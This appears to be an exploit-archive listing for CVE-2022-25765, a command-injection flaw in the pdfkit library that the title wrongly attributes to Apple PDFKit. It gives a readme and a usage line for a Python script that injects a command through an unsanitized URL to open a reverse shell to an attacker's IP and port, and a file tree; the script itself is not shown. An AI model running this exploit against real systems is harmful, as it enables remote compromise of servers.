CVE-2022-25765 PoC — Apple PDFKit 安全漏洞

Source

Associated Vulnerability

Description

Exploit for CVE-2022-25765

Readme

# CVE-2022-25765 Exploit
A small POC exploit for CVE-2022-25765, PDFkit-CMD-Injection

Example usage: `python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444`

This POC takes advantage of a Command Injection vulnerability where the URL is not properly sanitized. This exploit takes an attacker's IP and Port as paramaters to be used for a reverse shell. 

File Snapshot

 [4.0K]  /data/pocs/faf626638dbe3f777691ced1ed8f2ec1c29b3092
├── [5.2K]  cve-2022-25765.py
└── [ 374]  README.md

0 directories, 2 files

Remarks